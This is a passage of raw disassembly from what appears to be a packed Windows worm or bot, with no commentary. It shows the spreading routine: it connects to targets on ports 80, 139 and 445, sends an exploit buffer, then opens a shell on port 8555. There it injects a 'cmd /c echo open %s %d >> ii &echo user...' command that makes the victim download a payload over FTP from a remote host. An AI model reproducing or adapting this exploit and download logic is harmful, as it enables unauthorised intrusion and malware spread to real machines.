210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah call dword_41A1CC ; select cmp eax, edi jnz short loc_401DD0 lea eax, [ebp+var_10C] push eax push esi call sub_419A30 ; __WSAFDIsSet test eax, eax jnz short loc_401DD4 loc_401DD0: ; CODE XREF: sub_401D69+54j xor eax, eax jmp short loc_401DE4 ; --------------------------------------------------------------------------- loc_401DD4: ; CODE XREF: sub_401D69+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_42732C ; recv loc_401DE4: ; CODE XREF: sub_401D69+69j pop edi pop esi leave retn sub_401D69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401DE8 proc near ; CODE XREF: sub_401E2D+81p ; sub_401E2D+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_427310 ; htonl mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_427364 ; send cmp eax, 4 jz short loc_401E12 xor al, al leave retn ; --------------------------------------------------------------------------- loc_401E12: ; CODE XREF: sub_401DE8+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427364 ; send sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_401DE8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401E2D proc near ; CODE XREF: sub_401F07+48p ; .packed:00402379p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_40E882 mov esi, eax pop ecx test esi, esi jnz short loc_401E56 xor al, al jmp loc_401F02 ; --------------------------------------------------------------------------- loc_401E56: ; CODE XREF: sub_401E2D+20j push ebx push 0 push esi call sub_40E800 push 2Fh push offset dword_41C840 push esi call sub_40E940 push 8 lea eax, [esi+31h] push offset dword_41C870 push eax mov [esi+2Fh], di call sub_40E940 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_40E940 push 6 add ebx, edi push offset dword_424EFC push ebx call sub_40E940 mov ebx, [ebp+arg_0] push 85h push offset dword_41C7B8 push ebx call sub_401DE8 add esp, 48h test al, al jnz short loc_401EBE loc_401EBA: ; CODE XREF: sub_401E2D+B5j xor bl, bl jmp short loc_401EF9 ; --------------------------------------------------------------------------- loc_401EBE: ; CODE XREF: sub_401E2D+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_401D69 push [ebp+var_4] push esi push ebx call sub_401DE8 add esp, 1Ch test al, al jz short loc_401EBA push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_401D69 add esp, 10h mov bl, 1 loc_401EF9: ; CODE XREF: sub_401E2D+8Fj push esi call sub_40ECAF pop ecx mov al, bl loc_401F02: ; CODE XREF: sub_401E2D+24j pop edi pop esi pop ebx leave retn sub_401E2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F07 proc near ; CODE XREF: .packed:0040235Fp var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_41C87C push [ebp+arg_0] call dword_41A1C8 ; send cmp eax, 48h jnz short loc_401F42 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_401D69 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_401F42 cmp [ebp+var_20], 82h jz short loc_401F46 loc_401F42: ; CODE XREF: sub_401F07+1Bj ; sub_401F07+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_401F46: ; CODE XREF: sub_401F07+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_401E2D add esp, 0Ch leave retn sub_401F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401F59 proc near ; CODE XREF: sub_401FA5+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_41A220 call sub_40EF84 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_41A218 fstp [esp+10h+var_10] call sub_40EE62 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_40EF84 inc eax leave retn sub_401F59 endp ; =============== S U B R O U T I N E ======================================= sub_401FA5 proc near ; CODE XREF: sub_402147+24p var_40 = qword ptr -40h mov eax, offset loc_419C27 call sub_40F450 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_4025DA push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_401F59 cmp [ebp-2Ch], eax pop ecx jnb short loc_401FE7 push edi push eax lea ecx, [ebp-38h] call sub_402555 loc_401FE7: ; CODE XREF: sub_401FA5+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_402104 mov ebx, [ebp+10h] loc_401FF6: ; CODE XREF: sub_401FA5+156j cmp dword ptr [ebp+10h], 3 jb short loc_402000 push 3 jmp short loc_402012 ; --------------------------------------------------------------------------- loc_402000: ; CODE XREF: sub_401FA5+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40200A push 2 jmp short loc_402012 ; --------------------------------------------------------------------------- loc_40200A: ; CODE XREF: sub_401FA5+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_402013 push 1 loc_402012: ; CODE XREF: sub_401FA5+59j ; sub_401FA5+63j pop ebx loc_402013: ; CODE XREF: sub_401FA5+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_41A230 fstp [esp+40h+var_40] call sub_40EFAB pop ecx pop ecx call sub_40EF84 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_402052 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_402052: ; CODE XREF: sub_401FA5+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_4020C0 add [ebp-18h], eax loc_4020A4: ; CODE XREF: sub_401FA5+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_41C8C8[eax] push eax push 1 call sub_4023D7 inc esi cmp esi, [ebp-1Ch] jb short loc_4020A4 loc_4020C0: ; CODE XREF: sub_401FA5+FAj cmp dword ptr [ebp-18h], 48h jb short loc_4020DE push dword ptr [ebp+14h] call sub_40E730 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_402430 mov [ebp-18h], edi loc_4020DE: ; CODE XREF: sub_401FA5+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_4020F8 sub esi, [ebp-1Ch] loc_4020E9: ; CODE XREF: sub_401FA5+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_4023D7 dec esi jnz short loc_4020E9 loc_4020F8: ; CODE XREF: sub_401FA5+13Fj cmp [ebp+10h], edi ja loc_401FF6 push 1 pop ebx loc_402104: ; CODE XREF: sub_401FA5+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_4025DA push dword_41A228 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_402487 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_4025DA mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_401FA5 endp ; =============== S U B R O U T I N E ======================================= sub_402147 proc near ; CODE XREF: .packed:00402342p mov eax, offset loc_419C44 call sub_40F450 sub esp, 10h push ebx push esi push edi push offset byte_424EF4 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_401FA5 mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_40E882 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_402191 xor bl, bl jmp short loc_4021D5 ; --------------------------------------------------------------------------- loc_402191: ; CODE XREF: sub_402147+44j mov ecx, [ebp-18h] mov eax, offset dword_41A238 cmp ecx, ebx jnz short loc_40219F mov ecx, eax loc_40219F: ; CODE XREF: sub_402147+54j cmp [ebp+18h], ebx jz short loc_4021A7 mov eax, [ebp+18h] loc_4021A7: ; CODE XREF: sub_402147+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_40E7AB add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_427364 ; send cmp eax, esi jz short loc_4021CC xor bl, bl jmp short loc_4021CE ; --------------------------------------------------------------------------- loc_4021CC: ; CODE XREF: sub_402147+7Fj mov bl, 1 loc_4021CE: ; CODE XREF: sub_402147+83j push edi call sub_40ECAF pop ecx loc_4021D5: ; CODE XREF: sub_402147+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_4025DA or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_4025DA mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_402147 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_41CA74 push eax call sub_40E940 add esp, 0Ch mov eax, offset byte_41FCA4 push eax push eax push dword_424F0C push dword ptr [ebp+8] call sub_404F3A pop ecx push eax push offset aCmdKEchoOpen_0 ; "cmd /k echo open %s %d >> ii &echo user"... lea eax, [ebp-391h] push 400h push eax call sub_40E7AB add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_41C90C push eax call sub_401A03 xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40229E xor eax, eax jmp loc_4023CA ; --------------------------------------------------------------------------- loc_40229E: ; CODE XREF: .packed:00402295j mov [ebp-0Ch], esi loc_4022A1: ; CODE XREF: .packed:004023A1j test esi, esi jnz loc_4023A7 push 6 push 1 push 2 call dword_41A1C4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40238F xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_427314 ; htons mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_427354 ; inet_addr mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4272BC ; connect cmp eax, 0FFFFFFFFh jz loc_402384 cmp dword ptr [ebp+0A8h], 50h jnz short loc_40234C mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_4025DA lea eax, [ebp+0Ch] push eax call sub_40E730 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_402616 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_402147 add esp, 1Ch jmp short loc_402381 ; --------------------------------------------------------------------------- loc_40234C: ; CODE XREF: .packed:0040230Aj cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_402366 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_401F07 jmp short loc_40237E ; --------------------------------------------------------------------------- loc_402366: ; CODE XREF: .packed:00402356j cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_402384 push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_401E2D loc_40237E: ; CODE XREF: .packed:00402364j add esp, 0Ch loc_402381: ; CODE XREF: .packed:0040234Aj movzx esi, al loc_402384: ; CODE XREF: .packed:004022FDj ; .packed:00402370j push ebx call dword_4273AC ; closesocket test esi, esi jnz short loc_40239A loc_40238F: ; CODE XREF: .packed:004022BAj push 3E8h call dword_41A060 ; Sleep loc_40239A: ; CODE XREF: .packed:0040238Dj inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_4022A1 loc_4023A7: ; CODE XREF: .packed:004022A3j lea ecx, [ebp-8] call sub_401828 test esi, esi jz short loc_4023C8 mov eax, [ebp+0B0h] imul eax, 38h inc dword_41E100[eax] lea eax, dword_41E100[eax] loc_4023C8: ; CODE XREF: .packed:004023B1j mov eax, esi loc_4023CA: ; CODE XREF: .packed:00402299j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419C08 loc_4023CF: ; CODE XREF: sub_419C08+3j ; .packed:00419C21j ... push 1 call sub_4025DA retn ; END OF FUNCTION CHUNK FOR sub_419C08 ; =============== S U B R O U T I N E ======================================= sub_4023D7 proc near ; CODE XREF: sub_401FA5+110p ; sub_401FA5+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_41A228 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_4023F1 call sub_41997A loc_4023F1: ; CODE XREF: sub_4023D7+13j test ebx, ebx jbe short loc_402428 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_402555 test al, al jz short loc_402428 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_40E800 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_402428: ; CODE XREF: sub_4023D7+1Cj ; sub_4023D7+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_4023D7 endp ; =============== S U B R O U T I N E ======================================= sub_402430 proc near ; CODE XREF: sub_401FA5+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_41A228 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40244A call sub_41997A loc_40244A: ; CODE XREF: sub_402430+13j test ebx, ebx jbe short loc_40247F mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_402555 test al, al jz short loc_40247F mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_40E940 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40247F: ; CODE XREF: sub_402430+1Cj ; sub_402430+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_402430 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402487 proc near ; CODE XREF: sub_401FA5+17Cp ; sub_419890+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40249F call sub_419853 loc_40249F: ; CODE XREF: sub_402487+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_4024B1 mov esi, [ebp+arg_8] loc_4024B1: ; CODE XREF: sub_402487+25j cmp edi, ebx jnz short loc_4024D3 push dword_41A228 add esi, ecx mov ecx, edi push esi call sub_40264B push [ebp+arg_4] mov ecx, edi push 0 call sub_40264B jmp short loc_40254C ; --------------------------------------------------------------------------- loc_4024D3: ; CODE XREF: sub_402487+2Cj test esi, esi jbe short loc_402516 cmp esi, eax jnz short loc_402516 mov eax, [ebx+4] test eax, eax jnz short loc_4024E7 mov eax, offset dword_41A238 loc_4024E7: ; CODE XREF: sub_402487+59j cmp byte ptr [eax-1], 0FEh jnb short loc_402516 push 1 mov ecx, edi call sub_4025DA mov eax, [ebx+4] test eax, eax jnz short loc_402502 mov eax, offset dword_41A238 loc_402502: ; CODE XREF: sub_402487+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40254C ; --------------------------------------------------------------------------- loc_402516: ; CODE XREF: sub_402487+4Ej ; sub_402487+52j ... push 1 push esi mov ecx, edi call sub_402555 test al, al jz short loc_40254C mov eax, [ebx+4] test eax, eax jnz short loc_402530 mov eax, offset dword_41A238 loc_402530: ; CODE XREF: sub_402487+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_40E940 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40254C: ; CODE XREF: sub_402487+4Aj ; sub_402487+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_402487 endp ; =============== S U B R O U T I N E ======================================= sub_402555 proc near ; CODE XREF: sub_401FA5+3Dp ; sub_4023D7+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_402567 call sub_41997A loc_402567: ; CODE XREF: sub_402555+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_402590 mov al, [ecx-1] cmp al, dl jz short loc_402590 cmp al, 0FFh jz short loc_402590 cmp edi, edx jnz short loc_4025CB dec al push edx mov [ecx-1], al loc_402585: ; CODE XREF: sub_402555+47j mov ecx, esi call sub_4025DA loc_40258C: ; CODE XREF: sub_402555+4Bj ; sub_402555+52j xor al, al jmp short loc_4025D5 ; --------------------------------------------------------------------------- loc_402590: ; CODE XREF: sub_402555+19j ; sub_402555+20j ... cmp edi, edx jnz short loc_4025A9 cmp [esp+8+arg_4], dl jz short loc_40259E push 1 jmp short loc_402585 ; --------------------------------------------------------------------------- loc_40259E: ; CODE XREF: sub_402555+43j cmp ecx, edx jz short loc_40258C mov [esi+8], edx mov [ecx], dl jmp short loc_40258C ; --------------------------------------------------------------------------- loc_4025A9: ; CODE XREF: sub_402555+3Dj cmp [esp+8+arg_4], dl jz short loc_4025C6 mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_4025BB cmp eax, edi jnb short loc_4025D3 loc_4025BB: ; CODE XREF: sub_402555+60j push 1 mov ecx, esi call sub_4025DA jmp short loc_4025CB ; --------------------------------------------------------------------------- loc_4025C6: ; CODE XREF: sub_402555+58j cmp [esi+0Ch], edi jnb short loc_4025D3 loc_4025CB: ; CODE XREF: sub_402555+28j ; sub_402555+6Fj push edi mov ecx, esi call sub_4026B2 loc_4025D3: ; CODE XREF: sub_402555+64j ; sub_402555+74j mov al, 1 loc_4025D5: ; CODE XREF: sub_402555+39j pop edi pop esi retn 8 sub_402555 endp ; =============== S U B R O U T I N E ======================================= sub_4025DA proc near ; CODE XREF: sub_401FA5+1Fp ; sub_401FA5+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_402606 mov eax, [esi+4] test eax, eax jz short loc_402606 lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_4025FF cmp al, 0FFh jz short loc_4025FF dec al mov [ecx], al jmp short loc_402606 ; --------------------------------------------------------------------------- loc_4025FF: ; CODE XREF: sub_4025DA+19j ; sub_4025DA+1Dj push ecx call sub_40F46F pop ecx loc_402606: ; CODE XREF: sub_4025DA+8j ; sub_4025DA+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_4025DA endp ; =============== S U B R O U T I N E ======================================= sub_402616 proc near ; CODE XREF: .packed:00402336p ; sub_40276F+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_402555 test al, al jz short loc_402644 push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_40E940 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_402644: ; CODE XREF: sub_402616+12j mov eax, esi pop edi pop esi retn 8 sub_402616 endp ; =============== S U B R O U T I N E ======================================= sub_40264B proc near ; CODE XREF: sub_402487+39p ; sub_402487+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40265E call sub_419853 loc_40265E: ; CODE XREF: sub_40264B+Cj mov ecx, edi call sub_40276F mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_402674 mov ebx, eax loc_402674: ; CODE XREF: sub_40264B+25j test ebx, ebx jbe short loc_4026AA mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_40F480 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_402555 test al, al jz short loc_4026AA mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_4026AA: ; CODE XREF: sub_40264B+2Bj ; sub_40264B+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40264B endp ; =============== S U B R O U T I N E ======================================= sub_4026B2 proc near ; CODE XREF: sub_402555+79p mov eax, offset loc_419C50 call sub_40F450 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_4026D8 mov edi, [ebp+8] loc_4026D8: ; CODE XREF: sub_4026B2+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_4026E5 xor eax, eax loc_4026E5: ; CODE XREF: sub_4026B2+2Fj push eax call sub_40F7B5 pop ecx mov [ebp+8], eax jmp short loc_402716 ; --------------------------------------------------------------------------- loc_4026F1: ; DATA XREF: .packed:0041AB94o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_402700 xor eax, eax loc_402700: ; CODE XREF: sub_4026B2+4Aj push eax call sub_40F7B5 mov [ebp+8], eax pop ecx mov eax, offset loc_402710 retn ; --------------------------------------------------------------------------- loc_402710: ; DATA XREF: sub_4026B2+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_402716: ; CODE XREF: sub_4026B2+3Dj mov eax, [esi+8] test eax, eax jbe short loc_402734 cmp eax, edi jbe short loc_402723 mov eax, edi loc_402723: ; CODE XREF: sub_4026B2+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_40E940 add esp, 0Ch loc_402734: ; CODE XREF: sub_4026B2+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_4025DA mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_402754 mov edi, ebx loc_402754: ; CODE XREF: sub_4026B2+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_4026B2 endp ; =============== S U B R O U T I N E ======================================= sub_40276F proc near ; CODE XREF: sub_40264B+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40279C mov al, [esi-1] test al, al jz short loc_40279C cmp al, 0FFh jz short loc_40279C push 1 call sub_4025DA push esi call sub_40E730 pop ecx push eax push esi mov ecx, edi call sub_402616 loc_40279C: ; CODE XREF: sub_40276F+9j ; sub_40276F+10j ... pop edi pop esi retn sub_40276F endp ; =============== S U B R O U T I N E ======================================= sub_40279F proc near ; DATA XREF: .packed:0041C004o test byte_4BA56C, 1 jnz short loc_4027AF or byte_4BA56C, 1 loc_4027AF: ; CODE XREF: sub_40279F+7j jmp $+5 push offset nullsub_2 call sub_40F830 pop ecx retn sub_40279F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4027C1 proc near ; CODE XREF: .packed:00402940p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_40E800 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_41A1B0 ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_41A1B4 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_41A1C4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40288F lea eax, [ebp+var_10] push 10h push eax push ebx call dword_41A1B8 ; connect cmp eax, 0FFFFFFFFh jz short loc_40288F mov edi, 400h push esi mov esi, dword_41A1BC lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_41FCA4 push eax push eax push dword_424F0C push [ebp+arg_0] call sub_404F3A pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_40E7AB add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_40E730 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_41A1C8 ; send cmp eax, 0FFFFFFFFh jnz short loc_402893 loc_40288F: ; CODE XREF: sub_4027C1+50j ; sub_4027C1+62j xor eax, eax jmp short loc_4028AA ; --------------------------------------------------------------------------- loc_402893: ; CODE XREF: sub_4027C1+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_41A1C0 ; closesocket push 1 pop eax loc_4028AA: ; CODE XREF: sub_4027C1+D0j pop edi pop esi pop ebx leave retn sub_4027C1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+0Ch] push edi push eax mov word ptr [ebp-10h], 2 call dword_427354 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-0Ch], eax call dword_427314 ; htons push 6 push 1 push 2 mov [ebp-0Eh], ax call dword_41A1C4 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_402921 lea eax, [ebp-10h] push 10h push eax push esi call dword_41A1B8 ; connect cmp eax, 0FFFFFFFFh jnz short loc_402902 push esi jmp short loc_40291B ; --------------------------------------------------------------------------- loc_402902: ; CODE XREF: .packed:004028FDj push 0 push 1213h push offset dword_41CBAC push esi call dword_41A1C8 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_402925 loc_40291B: ; CODE XREF: .packed:00402900j call dword_41A1C0 ; closesocket loc_402921: ; CODE XREF: .packed:004028EBj xor eax, eax jmp short loc_402967 ; --------------------------------------------------------------------------- loc_402925: ; CODE XREF: .packed:00402919j call dword_41A1C0 ; closesocket push 216Bh lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_4027C1 add esp, 0C0h test eax, eax jz short loc_402964 mov eax, [ebp+0B0h] imul eax, 38h inc dword_41E100[eax] lea eax, dword_41E100[eax] loc_402964: ; CODE XREF: .packed:0040294Dj push 1 pop eax loc_402967: ; CODE XREF: .packed:00402923j pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_40296B proc near ; CODE XREF: .packed:00402A59p ; .packed:00402ABBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_402973: ; CODE XREF: sub_40296B+2Dj test edi, edi jle short loc_40299E mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_42732C ; recv test eax, eax jz short loc_40299A cmp eax, 0FFFFFFFFh jz short loc_40299A sub edi, eax add esi, eax jmp short loc_402973 ; --------------------------------------------------------------------------- loc_40299A: ; CODE XREF: sub_40296B+22j ; sub_40296B+27j xor eax, eax jmp short loc_4029A1 ; --------------------------------------------------------------------------- loc_40299E: ; CODE XREF: sub_40296B+Aj push 1 pop eax loc_4029A1: ; CODE XREF: sub_40296B+31j pop edi pop esi retn sub_40296B endp ; =============== S U B R O U T I N E ======================================= sub_4029A4 proc near ; CODE XREF: .packed:00402AA5p ; .packed:00402AD2p ... 